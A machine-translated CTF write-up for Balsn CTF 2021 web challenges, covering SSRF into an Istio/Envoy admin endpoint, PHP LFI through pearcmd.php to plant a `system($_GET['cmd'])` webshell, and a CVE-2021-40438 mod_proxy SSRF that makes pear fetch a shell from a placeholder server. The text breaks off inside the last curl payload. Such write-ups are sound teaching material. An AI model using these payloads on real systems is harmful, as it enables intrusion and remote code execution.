Balsn CTF 2021 WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
Participated in Balsn CTF 2021 with Goburin' and got third place. This time, I mainly solved web challenges, one misc challenge, and half a rev challenge.
Web
Proxy
This challenge immediately tells you /query?site=[your website]
, so I started testing SSRF to see what I could access. Testing file:///proc/self/environ
allowed me to read some information, revealing that the challenge was written in Python, used k8s, and had a hidden service at 10.44.3.240:39307
.
Directly SSRFing 10.44.3.240:39307
failed, but I found the source code in file:///proc/self/cwd/main.py
:
import urllib.request
from flask import Flask, request
app = Flask(__name__)
@app.route("/meow")
def meow():
return 'meow?'
@app.route("/query")
def query():
site = request.args.get('site')
text = urllib.request.urlopen(site, timeout=5).read()
return text
@app.route("/")
def hello_world():
return "/query?site=[your website]"
if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0", port=8000)
It's very simple, just a Python urllib.request.urlopen
SSRF. Accessing /meow
directly results in RBAC: access denied
, but SSRFing http://localhost:8000/meow
works fine. The error message suggests something called Istio is involved. Initially, we were stuck here without knowing how to proceed.
Later, Allen found port 15000 from file:///proc/net/tcp
, and accessing http://127.0.0.1:15000
revealed an Envoy Admin
.
I then found http://127.0.0.1:15000/config_dump
, which contained a suspicious section:
"name": "secret-service-20a91e.default.svc.cluster.local:39307",
"domains": [
"secret-service-20a91e.default.svc.cluster.local",
"secret-service-20a91e.default.svc.cluster.local:39307",
"secret-service-20a91e",
"secret-service-20a91e:39307",
"secret-service-20a91e.default.svc.cluster",
"secret-service-20a91e.default.svc.cluster:39307",
"secret-service-20a91e.default.svc",
"secret-service-20a91e.default.svc:39307",
"secret-service-20a91e.default",
"secret-service-20a91e.default:39307",
"10.44.3.240",
"10.44.3.240:39307"
],
SSRFing one of the URLs http://secret-service-20a91e:39307/
revealed it saying here is your flag: /flag
, but SSRFing http://secret-service-20a91e:39307/flag
resulted in an error. Testing showed that adding an extra /
in the path bypassed the issue: http://secret-service-20a91e:39307//flag
.
Flag: BALSN{default_istio_service_mesh_envoy_configurations}
Honestly, I have no idea what this challenge was about or why this solution worked ==
Official documentation: Istio - Understand path normalization in authorization policy
2linephp
<?php ($_=$_SERVER['REQUEST_URI']) && (stripos($_,"zip") !== FALSE || stripos($_,"p:") || stripos($_,"s:")) && die("Bad hacker!");
($_=@$_GET['kaibro'].'.php') && @substr(file($_)[0],0,5) === '<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.php');
This challenge only has these two lines. phpinfo.php
is likely a real phpinfo();
since it changes with the request.
The goal is that the URL with the query string cannot contain zip
, p:
, and s:
, and you can LFI any file ending in .php
, but the first 5 bytes must be <?php
.
The challenge also mentions 0CTF 1linephp is too hard
, and that challenge's writeup mainly used the zip extension and upload progress to LFI zip:///tmp/sess_mysessid#shell.php
to get a shell.
However, this challenge's phpinfo.php
shows that the zip extension is not installed. I was stuck here for a while.
After comparing it with 0CTF 1linephp, I noticed some clues:
<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');
1linephp requires the start to be @<?php
, but this challenge requires <?php
. Testing showed that ?kaibro=index
successfully caused it to recursively include until memory overflowed. ?kaibro=phpinfo
also worked as expected.
It might seem like only index.php
and phpinfo.php
are useful, but this is actually a key part of the solution. You can run a local docker with the same version:
FROM php:7.4.11-apache # same as 0CTF 1linephp
COPY src/ /var/www/html/
Then, inside the container, run grep -rnw '^<?php'
to find many matching files under /usr/local/php
, one of which is /usr/local/lib/php/pearcmd.php
, which looks suspicious.
Searching online for pearcmd
led to this article, which contains some important information:
If register_argc_argv
is enabled (which it is by default in the docker version), it automatically converts the query string to argv:
<?php
var_dump($_SERVER['argv']);
// querystring: ?a+b
// $_SERVER['argv'][0] === 'a'
// $_SERVER['argv'][1] === 'b'
pearcmd.php
is the CLI for PHP's PEAR package manager, which reads parameters from argv. When argv is remotely controllable, it opens up some exploitation opportunities.
The article introduces two methods: one to download a file from a remote URL to local:
pear install -R /tmp http://xxxxxxx/shell.php
The downloaded filename is determined by
Content-Disposition
.
Another method is to write directly from the parameters:
pear -c /tmp/peko.php -d man_dir=miko -s
The above command writes the following content to /tmp/peko.php
:
#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:4:"miko";}
Although the first method seems simpler, the p:
and s:
restrictions likely prevent it (http://
, https://
), so I used the second method.
After writing, the file must start with <?php
. This problem is similar to the one encountered in Orange's One Line PHP Challenge. The solution involves using php://filter/
.
First, PHP's base64 decode automatically ignores non-base64 characters. Testing showed that the first character after base64 decoding is <
, so I thought of adding >
and using string.strip_tags
to remove them.
A small issue is that it needs to pad appropriately to follow the base64 decode principle. I generated the payload like this:
from base64 import *
# file format:
"""
#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:9:"PLACEHOLDER";}
"""
payload = b'<?php system($_GET["cmd"]);'
enc = b64encode(payload)
print(b64encode(b'aaa>'+enc+b'<aa'))
This way, the first base64 decode results in <garbage>base64<garbage
, and string.strip_tags
turns it into base64
, which decodes to <?php system($_GET["cmd"]);
.
So, use the following method to write the shell to /tmp/maple3142.php
:
http://2linephp1.balsnctf.com:50080/?kaibro=/usr/local/lib/php/pearcmd&+-c+/tmp/maple3142.php+-d+man_dir=YWFhPlBEOXdhSEFnYzNsemRHVnRLQ1JmUjBWVVd5SmpiV1FpWFNrNzxhYQ+-s+
Then, execute commands to read the flag:
http://2linephp1.balsnctf.com:50080/?kaibro=ph%70://filter/convert.base64-decode/string.strip_tags/convert.base64-decode/resource=/tmp/maple3142&cmd=/readflag
p:
can be easily bypassed with%70:
. The reasonhttp://
'sp:
cannot be bypassed this way seems to be because argv and$_GET
handle URL decoding differently.
Flag: BALSN{1linephp_1s_tooo_hard:(}
The intended solution seems to involve creating your own PEAR channel.
0linephp
This challenge has two containers, with Apache and PHP separated.
The PHP part is:
FROM php:7.4.24-fpm
RUN chmod 555 /var/www/html
RUN chown root:root /var/www/html
It has an index.php
, which is indeed empty (0 lines).
The Apache config used is:
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so
DirectoryIndex disabled
DirectoryIndex index.php
ProxyErrorOverride on
RewriteEngine on
RewriteCond %{QUERY_STRING} php
RewriteRule ^(.*)$ /404
ProxyPassMatch ^/(.*\.php(/.*)?)$ "fcgi://php:9000/var/www/html/" noquery nocanon disablereuse=on
Suggestion: If testing locally, set
ProxyErrorOverride
tooff
.
The docker used is:
FROM httpd:2.4.48
RUN echo 'Include conf/extra/proxy-php.conf' >> /usr/local/apache2/conf/httpd.conf
docker-compose.yml
:
version: '3.9'
services:
apache:
build: apache
volumes:
- ./apache/proxy-php.conf:/usr/local/apache2/conf/extra/proxy-php.conf:ro
ports:
- 80:80
php:
build: php
volumes:
- ./php/index.php:/var/www/html/index.php:ro
The first key to solving this challenge is Apache version 2.4.48. If you follow the news, you might know that Apache had some significant CVEs recently, such as path traversal. Checking reveals that CVE-2021-42013 only applies to 2.4.49 and 2.4.50, so it's not useful here.
However, further searching reveals CVE-2021-40438, a mod_proxy
bug causing SSRF, applicable to 2.4.48.
Searching for more information, I found Building a POC for CVE-2021-40438, which explains how to use mod_proxy_http
for SSRF, but lacks detailed instructions.
Another useful article is Apache mod_proxy SSRF (CVE-2021-40438) Analysis and Extension, which provides an excellent explanation. I recommend reading it thoroughly to understand this challenge better.
Although it mentions that mod_proxy_fcgi
cannot be used due to URL encoding, the proxy_fcgi_canon
function contains:
if (apr_table_get(r->notes, "proxy-nocanon")) {
path = url; /* this is the raw path */
}
else {
path = ap_proxy_canonenc(r->pool, url, strlen(url), enc_path, 0,
r->proxyreq);
}
And the last line of the Apache config is:
ProxyPassMatch ^/(.*\.php(/.*)?)$ "fcgi://php:9000/var/www/html/" noquery nocanon disablereuse=on
With nocanon
, the above if
is used, so URL encoding is bypassed, allowing SSRF. Understanding this CVE, you can generate this payload to SSRF fastcgi:
curl --path-as-is 'http://0linephp0.balsnctf.com/unix:AAA...AAA|fcgi://php:9000/var/www/html/index.php' -v
You might think of SSRFing fcgi://php:9000/flag
to get the flag, but it results in a 403 error. Testing with /flag.php
works, and further experiments show that fastcgi only accepts files ending in .php
.
At this point, the situation is similar to 2linephp, SSRFing fastcgi to LFI .php
files without requiring a specific start.
So, I used the pearcmd.php
method from the previous challenge. However, the previous method cannot be directly applied because the Apache config restricts any query string containing php
to 404:
RewriteEngine on
RewriteCond %{QUERY_STRING} php
RewriteRule ^(.*)$ /404
I used another method, install -R /tmp remote_url
, setting up a path on my server to download the file, with the header Content-Disposition: attachment; filename="shell.php"
. Then, download the shell to /tmp/tmp/pear/download/shell.php
and execute the command in the second request.
First request to download the file:
Using
echo
because curl seems to process the URL:
echo -n $'GET /unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|fcgi://php:9000/usr/local/lib/php/pearcmd.php/?peko=miko&+install+-R+/tmp+http://YOUR_SERVER/ HTTP/1.0\r\nHost: localhost\r\n\r\n' | nc 0linephp0.balsnctf.com 80
Second request to read the flag:
curl --path-as-is 'http://0linephp0.balsnctf.com/unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA